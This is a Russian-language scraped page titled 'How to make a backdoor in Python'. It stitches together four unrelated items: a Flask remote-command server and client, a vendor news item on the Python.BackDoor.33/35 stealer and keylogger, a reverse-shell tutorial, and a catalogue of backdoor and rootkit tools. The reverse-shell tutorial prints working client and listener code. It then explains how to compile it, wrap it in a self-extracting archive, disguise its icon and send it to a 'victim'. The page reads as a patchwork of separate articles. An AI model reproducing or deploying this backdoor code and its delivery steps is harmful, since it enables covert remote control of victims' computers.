Как сделать бэкдор на python
Перейти к содержимому

Как сделать бэкдор на python

  • автор:

Небольшой бэкдор на Flask или как управлять компьютером в локальной сети

Недавно я посмотрел скачанную версию стрима по программированию «Как создать свое веб-приложение на Flask». И решил закрепить свои знания в каком-нибудь проекте. Долго не знал, что написать и мне пришла идея: «А почему бы не сделать мини-бэкдор на Flask?».

В голове тут же появились первые варианты реализаций и возможностей бэкдора. Но я решил сразу составить список возможностей бэкдора:

  1. Уметь открывать сайты
  2. Иметь доступ к командной строке
  3. Уметь открывать программы, фото, видео

Написание сервера

Итак, *барабанная дробь* весь код сервера:

from flask import Flask, request import webbrowser import os import re app = Flask(__name__) @app.route('/mycomp', methods=['POST']) def hell(): json_string = request.json if json_string['command'] == 'test': return 'The server is running and waiting for commands. ' if json_string['command'] == 'openweb': webbrowser.open(url='https://www.'+json_string['data'], new=0) return 'Site opening ' + json_string['data'] + '. ' if json_string['command'] == 'shell': os.system(json_string['data']) return 'Command execution ' + json_string['data'] + '. ' if json_string['command'] == 'link': links = open('links.txt', 'r') for i in range(int(json_string['data'])): link = links.readline() os.system(link.split('>')[0]) return 'Launch ' + link.split('>')[1] if __name__ == '__main__': app.run(host='0.0.0.0') 

Я уже вывалил весь код, пора объяснять суть.

Весь код запускается на локальном компьютере на 5000 порту. Для взаимодействия с сервером мы должны отправлять JSON POST запрос.

Структура JSON запроса:

Ну, логично, что ‘command’ – команда, которую мы хотим выполнить. А ‘data’ – аргументы команды.

Можно писать и отправлять JSON запросы для взаимодействия с сервером ручками(вам в помощь requests). А можно написать консольный клиент.

Написание клиента

import requests logo = ['\n\n', '****** ********', '******* *********', '** ** ** **', '** ** ** ** Written on Python', '******* ** **', '******** ** **', '** ** ** ** Author: ROBOTD4', '** ** ** **', '** ** ** **', '******** *********', '******* ********', '\n\n'] p = '' iport = '192.168.1.2:5000' host = 'http://' + iport + '/mycomp' def test(): dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) def start(): for i in logo: print(i) start() test() while True: command = input('>') if command == '': continue a = command.split() if command == 'test': dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) if a[0] == 'shell': for i in range(1, len(a)): p = p + a[i] + ' ' dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) p = '' if a[0] == 'link': if len(a) > 1: dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print('Комманда не содержит аргументов!') if a[0] == 'openweb': if len(a) > 1: dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print('Комманда не содержит аргументов!') if a[0] == 'set': if a[1] == 'host': ip = a[2] + ':5000' if command == 'quit': break 

Первым делом импортируется модуль requests(для взаимодействия с сервером). Дальше описания функций start и test. А дальше цикл в котором происходит волшебство. Читали код? Значит вам ясен смысл волшебства, происходящего в цикле. Вводите команду – она выполняется. Shell – команды для командной строки(логика зашкаливает).

Test – проверка, работает ли сервер(бэкдор)
Link – использование «ярлыка»
Openweb – открытие сайта
Quit – выход из клиента
Set – задание ip вашего компьютера в локальной сети

А сейчас поподробнее о link.

Рядом с сервером лежит файл link.txt. В нём находятся ссылки(полный путь) к файлам(видео, фото, программы).

Итог

Мы имеем сервер-бэкдор для управления компьютером в локальной сети(внутри wi-fi сети). Технически мы можем запустить клиент с любого устройства, на котором есть интерпретатор python.

P.S. Команду set я добавил для того, чтобы если компьютеру в локальной сети присвоят другой ip, можно было прямо в клиенте его изменить.

  • Системное администрирование
  • Python

Бэкдор на языке Python

Как сообщила компания «Доктор Веб», ее аналитики исследовали новый бэкдор, особенность которого заключается в том, что он написан на языке Python. Вредоносная программа добавлена в вирусные базы Dr.Web под именем Python.BackDoor.33.

Внутри файла троянца хранится запакованная утилита py2exe, которая позволяет запускать в Windows сценарии на языке Python как обычные исполняемые файлы. Основные функции вредоносной программы реализованы в файле mscore.pyc. Python.BackDoor.33 сохраняет свою копию в одной из папок на диске, для обеспечения собственного запуска модифицирует системный реестр Windows и завершает выполнение сценария. Таким образом, основные вредоносные функции бэкдора выполняются после перезагрузки системы.

После перезагрузки троянец пытается заразить все подключенные к устройству накопители с именами от C до Z. Для этого он создает скрытую папку, сохраняет в ней копию своего исполняемого файла (также с атрибутом «скрытый»), после чего в корневой папке диска создает ссылку вида .lnk, которая ведет на вредоносный исполняемый файл. Все файлы, отличные от файла .lnk, VolumeInformation.exe и .vbs, он перемещает в созданную ранее скрытую папку.

Затем троянец пытается определить IP-адрес и доступный порт управляющего сервера, отправляя запрос к нескольким серверам в Интернете, включая pastebin.com, docs.google.com и notes.io. Если бэкдору удалось получить IP-адрес и порт, он отсылает на управляющий сервер специальный запрос. Если троянец получает на него ответ, он скачивает с управляющего сервера и запускает на инфицированном устройстве сценарий на языке Python, добавленный в вирусные базы Dr.Web под именем Python.BackDoor.35. В этом сценарии реализованы функции кражи паролей (стилер), перехвата нажатия клавиш (кейлоггер) и удаленного выполнения команд (бэкдор).

Кроме того, троянец умеет проверять подключенные к зараженному устройству носители информации и заражать их схожим образом. В частности, Python.BackDoor.35 позволяет злоумышленникам:

  • красть информацию из браузеров Chrome, Opera, Yandex, Amigo, Torch, Spark;
  • фиксировать нажатия клавиш и делать снимки экрана;
  • загружать дополнительные модули на Python и исполнять их;
  • скачивать файлы и сохранять их на носителе инфицированного устройства;
  • получать содержимое заданной папки;
  • перемещаться по папкам;
  • запрашивать информацию о системе.

Помимо прочего, в структуре Python.BackDoor.35 предусмотрена функция самообновления, однако в настоящий момент она не задействована. Сигнатуры всех упомянутых выше вредоносных программ добавлены в вирусные базы Dr.Web.

Простой Backdoor на Python

Всем доброго времени суток! Сегодня я расскажу как написать простой backdoor на Python(3).

import socket import os def ExecuteCommand(command): output = os.popen(command).read() return output def main(): host = "127.0.0.1" # ip который будем использовать port = 6500 # порт while True: while True: try: s = socket.socket() # создаем сокет s.connect((host,port)) # подключаемся except: break while True: try: data = s.recv(1024).decode() # получаем команду output = ExecuteCommand(str(data)) if len(output) == 0: s.send(" ".encode()) # в случае, если рзультат # пустой, отправляем пробел else: s.send(output.encode()) # отправляем результат except: break s.close() if __name__ == '__main__': main()
import socket def main(): host = "127.0.0.1" # ip который будем прослушивать port = 6500 # порт s = socket.socket() # создаем сокет s.bind((host,port)) s.listen(1) print("Waiting for connection. ") connection, address = s.accept() # подключаемся print("Connection from " + str(address)) while True: try: toSend = input("-> ") connection.send(toSend.encode()) # отправляем команду data = connection.recv(1024).decode() # получаем результат print(data) # выводим на экран except: break print("Connection refused") # в случае, если соединение разорванно connection.close() if __name__ == '__main__': main()

Сдесь сам «вирус» является клиентом, а не сервером.

Теперь о том, как это все скомпилировать и использовать.

Требуется:
1. Python 3
2. Pyinstaller (его можно установить через pip командой «pip install pyinstaller»)

Меняем в обоих скриптах ip на свой, а порт на любой открытый (если он не используется другим приложением конечно).

Теперь компилируем Client.py.

Помещаем файлы в папке dist/Client в WinRAR SFX и указываем, что должен
запускаться Client.exe (я не стал использовать флажок -F для pyinstaller, так как на некоторых машинах файл может запускаться медленно).

Маскируем файл (меняем иконку и т.д.) и отправляем жертва.
Запускаем наш сервер и ждем, пока жертва откроет файл.

Вот и удаленный доступ.

Как сделать бэкдор на python

Главная / Инструменты / backdoor

Пакеты, которые используют или устанавливают бэкдоры на уязвимых системах.

Имя Версия Описание Категория Веб-сайт
aesshell

0.7 Шэлл с обратной связью для Windows и Unix, написан на python и использует AES в режиме CBC в сочетании с HMAC-SHA256 для безопасного обмена данными. backdoor windows
arcane

2.750cb9f Backdoor iOS packages and create the necessary resources for APT repositories. mobile backdoor
avet

133.2f1d882 Инструмент обхода антивирусов binary backdoor automation
azazel

15.a41fbb5 Руткит пользовательского окружения, основан на оригинальной LD_PRELOAD технике от Jynx rootkit. backdoor
backcookie

51.6dabc38 Маленький бэкдор использующий куки. backdoor webapp
backdoor-apk

141.2710126 Shell скрипт, который упрощает процесс добавления бэкдора к любому файлу Android APK mobile backdoor
backdoor-factory

1:210.0c53045 Патчит бинарные файлы win32/64 шэллкодом. backdoor binary
backdoorme

308.f9755ca Мощная утилита способная бэкдорить Unix машины множеством бэкдоров. backdoor automation
backdoorppt

88.d0e7f91 Трансформирует ваш payload.exe в фальшивый документ word doc (.ppt). backdoor
backorifice

1.0 Система удалённого администрирования, позволяющая пользователю контролировать компьютер по tcpip соединению используя простое консольное приложение или программа с графическим интерфейсом. windows backdoor
barq

35.6f1a68c An AWS Cloud Post Exploitation framework. exploitation backdoor automation recon
cymothoa

1 Инструмент незаметного бэкдоринга, делает внедрение шеллкода бэкдора в существующий процесс. backdoor
debinject

43.d884309 Внедрение вредоносного кода в *.debs. backdoor
demiguise

11.58d5681 Инструмент шифрования HTA для RedTeams. crypto windows backdoor
donut

501.61af8cc Создаёт x86, x64 или AMD64 + x86 P.I. шеллкод, загружающий сборки .NET из памяти. backdoor exploitation
dr0p1t-framework

44.db9bc2d Фреймворк, который создаёт dropper (троян, загружающий другие вирусы), он способен обойти большинство антивирусов и песочниц, имеет некоторые хитрости. backdoor
dragon-backdoor

7.c7416b7 Со сниффингом, без привязки, обратная down/exec служба простукивания портов, основана на cd00r.c. backdoor sniffer windows
eggshell

157.eaeeea7 Инструмент удалённого администрирования iOS/macOS/Linux. backdoor
enyelkm

1.2 Руткит для Linux x86 с ядрами v2.6. backdoor
evil-winrm

1:v3.5.r0.g7514b05 The ultimate WinRM shell for hacking/pentesting. exploitation backdoor
evilpdf

5.43696a8 Embedding executable files in PDF Documents. backdoor
exe2image

1.1 Простая утилита для конвертации EXE файлов в JPEG изображения и обратно. backdoor binary
gobd

82.3bbd17c Завуалированный бэкдор на Golang (языке Go). backdoor
harness

19.ed2a6aa Интерактивная удаленная полезная нагрузка PowerShell. backdoor windows
hercules-payload

222.2607a3a Специальный генератор полезной нагрузки, который может обойти все программы антивирусов. binary windows backdoor
hotpatch

90.fd2baf1 Динамически загружает библиотеку (файл .so) из одного процесса в другой выполняемый в данный момент процесс без воздействия на исполнимый файл. backdoor
icmpsh

12.82caf34 Простой обратный ICMP шелл. backdoor networking
ilo4-toolbox

47.672a5d6 Набор инструментов для анализа HPE iLO4. scanner automation backdoor
jynx2

2.0 Расширение на LD_PRELOAD оригинального руткита Jynx. backdoor
k55

86.b3c4aa9 Linux x86_64 Process Injection Utility. backdoor exploitation
kimi

28.e7cafda Скрипт для создания вредоносных пакетов debian (троянов для debain). backdoor
kwetza

26.0e50272 Скрипт Python для внедрения в существующие приложения Android полезную нагрузку Meterpreter. backdoor exploitation
ld-shatner

4.5c215c4 ld-linux инжектор кода. Внедряет код во время выполнения между загрузчиком ELF и целевым исполнимым файлом. backdoor binary
lfi-image-helper

0.8 Простой скрипт для внедрения изображений с PHP бэкдорами для атака локальным инклудом файлов. webapp backdoor
linux-inject

100.268d4e4 Инструмент для внедрения общего объекта в процесс Linux. backdoor binary
meterssh

18.9a5ed19 Способ взять шелл-код, внедрить его в память, а затем туннелировать на любой порт по выбору через SSH для маскировки соединений любого типа под обычное SSH соединение. backdoor networking
microsploit

9.441e132 Простое и быстрое создание бэкдоров эксплуатирующих офисные программы. Использует модуль metasploit packet, Microsoft Office, Open Office, Macro attack, Buffer Overflow. backdoor
ms-sys

2.7.0 Это Linux программа для записи совместимой с Microsoft загрузочной записи — master boot records (mbr) backdoor binary forensic
msf-mpc

35.8007ef2 Генератор полезной нагрузки Msfvenom. automation backdoor malware
msvpwn

1:65.328921b Обход аутентификации Windows посредством внесения изменений в исполнимые файлы. windows binary backdoor
netbus

1.6 Инструмент удалённого администрирования NetBus. windows backdoor
nxcrypt

32.6ae06b5 NXcrypt — платформа для бэкдоров на python. backdoor
patchkit

37.95dc699 Мощная программа для патча бинарных файлов, состоит из скриптов, написанных Python. binary backdoor
phishery

14.5743953 Простой HTTP сервер с поддержкой SSL, его главной целью является фишинг учётных данных через базовую аутентификацию. Также предоставляет возможность легко внедрять URL-адрес в документ Word .docx. backdoor social
php-findsock-shell

2.b8a984f Findsock Shell реализация на PHP + C. webapp backdoor
pivotsuite

20.5640666 Портативный, платформенно-независимый и мощный набор инструментов для разворачивания pivoting (работы с локальной сетью из вне). networking backdoor
pixload

87.a8f58a7 Набор инструментов для создания / внедрения полезной нагрузки в изображения (скрытие бэкдоров). В настоящее время поддерживаются следующие типы изображений: BMP, GIF, JPG, PNG, WebP. webapp backdoor
poly

52.4e6f189 Скрипт на Python, который генерирует полиморфные веб-оболочки. Используйте его, чтобы закодировать ваш любимый шелл и сделать его практически незаметным. webapp backdoor
powerstager

14.0149dc9 Скрипт генерирует троян дроппер (загрузчик) полезной нагрузки на PowerShell. binary backdoor
pwncat

0.1.2 Bind and reverse shell handler with FW/IDS/IPS evasion, self-inject and port-scanning. backdoor scanner proxy networking
pyrasite

2.0 Инструменты для инъекции кода в запущенные процессы Python. backdoor
remot3d

38.a707ef7 Генерирует бэкдоры для поддержки доступа на серверах с PHP. webapp backdoor exploitation
revsh

215.174e309 Обратный шелл с поддержкой терминала, туннелирования данных и сопутствующими продвинутыми возможностями. backdoor networking
riwifshell

38.40075d5 Веб-бэкдор, инфицирует, исследует. webapp backdoor
rrs

100:1.70 Создаёт обратный шелл. Вместо прослушивания входящих соединений, программа соединяется с прослушивателем (с другим экземпляром rrs в режиме прослушивания). Имеется поддержка tty и другое. backdoor
rspet

263.de4356e Обратный шелл, основанный на Python, с функциональностью, помогающий в сценариях последующей эксплуатации. exploitation backdoor dos
rubilyn

0.0.1 Руткит ядра 64bit Mac OS-X, который не использует жёстко прописанный адрес для подцепления подсистемы BSD во всех OS-X Lion и ниже. Он использует комбинацию из подцепления системных вызовов и DKOM для сокрытия активности на хосте. backdoor
saruman

2.4be8db5 Антикриминалистика ELF, для внедрения полного динамического выполнимого кода в образ процесса (с инъекцией потока). binary backdoor anti-forensic
sb0x

19.04f40fe Простой и легковесный фреймворк для тестирования на проникновение. scanner fuzzer cracker backdoor recon
shellinabox

428.98e6eeb Реализация веб-сервера, которая может экспортировать произвольные команды командной строки в основанный на веб эмулятор терминала. Т.е. позволяет работать в веб-браузере будто бы в реальном терминале. backdoor webapp
shellsploit-framework

273.a16d22f Набор инструментов нового поколения по разработке эксплойтов. exploitation backdoor
shellter

7.2 Динамический инструмент для инъекции шелл-кода и первый действительно динамический PE-инжектор. exploitation backdoor windows
sherlocked

1.f190c2b Универсальный упаковщик скриптов — трансформирует скрипт любого типа в защищённый исполнимый файл ELF, зашифрованный от анти-отладки. packer binary crypto backdoor
shootback

83.cab462c Обратный TCP туннель, который позволяет вам получить доступ к цели за NAT или файерволом. backdoor tunnel
silenttrinity

293.08b1c61 Асинхронный агент совместной работы последующей эксплуатации на базе Python и DLR .NET. backdoor
sub7

2.2 Инструмент удалённого администрирования. windows backdoor
syringe

12.79a703e Утилита общего назначения внедрения DLL и кода. backdoor binary windows
trixd00r

0.0.1 Продвинутый и невидимый в пространстве пользователя бэкдор, базируется на TCP/IP, для систем UNIX. backdoor
tsh

0.6 Бэкдор UNIX с открытым исходным кодом, который компилируется на всех вариантах, имеет полную поддержку pty и использует соединение с надёжным шифрованием. backdoor
tsh-sctp

2.850a2da Бэкдор UNIX с открытым исходным кодом. backdoor
u3-pwn

2.0 Инструмент для автоматизации внедрения исполнимых файлов в умные usb устройства Sandisk с установленной заводской прошивкой U3. backdoor
unicorn-powershell

202.80a37eb Простой инструмент для использования атаки понижения PowerShell и внедрения шелл-кода прямо в память. backdoor exploitation
vlany

255.9ef014a Linux LD_PRELOAD руткит (для архитектур x86 и x86_64). backdoor
webacoo

0.2.3 Набор скриптов куки-бэкдоров. backdoor webapp
webshells

46.e8e1a37 Веб бэкдоры. backdoor webapp
webspa

0.8 Инструмент веб-простукивания, отправляет единичные HTTP/S для запуска команд O/S. backdoor webapp
weevely

894.445bd88 Вооружённый веб-шелл. backdoor webapp
zipexec

19.f8d661f A unique technique to execute binaries from a password protected zip. crypto backdoor windows

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *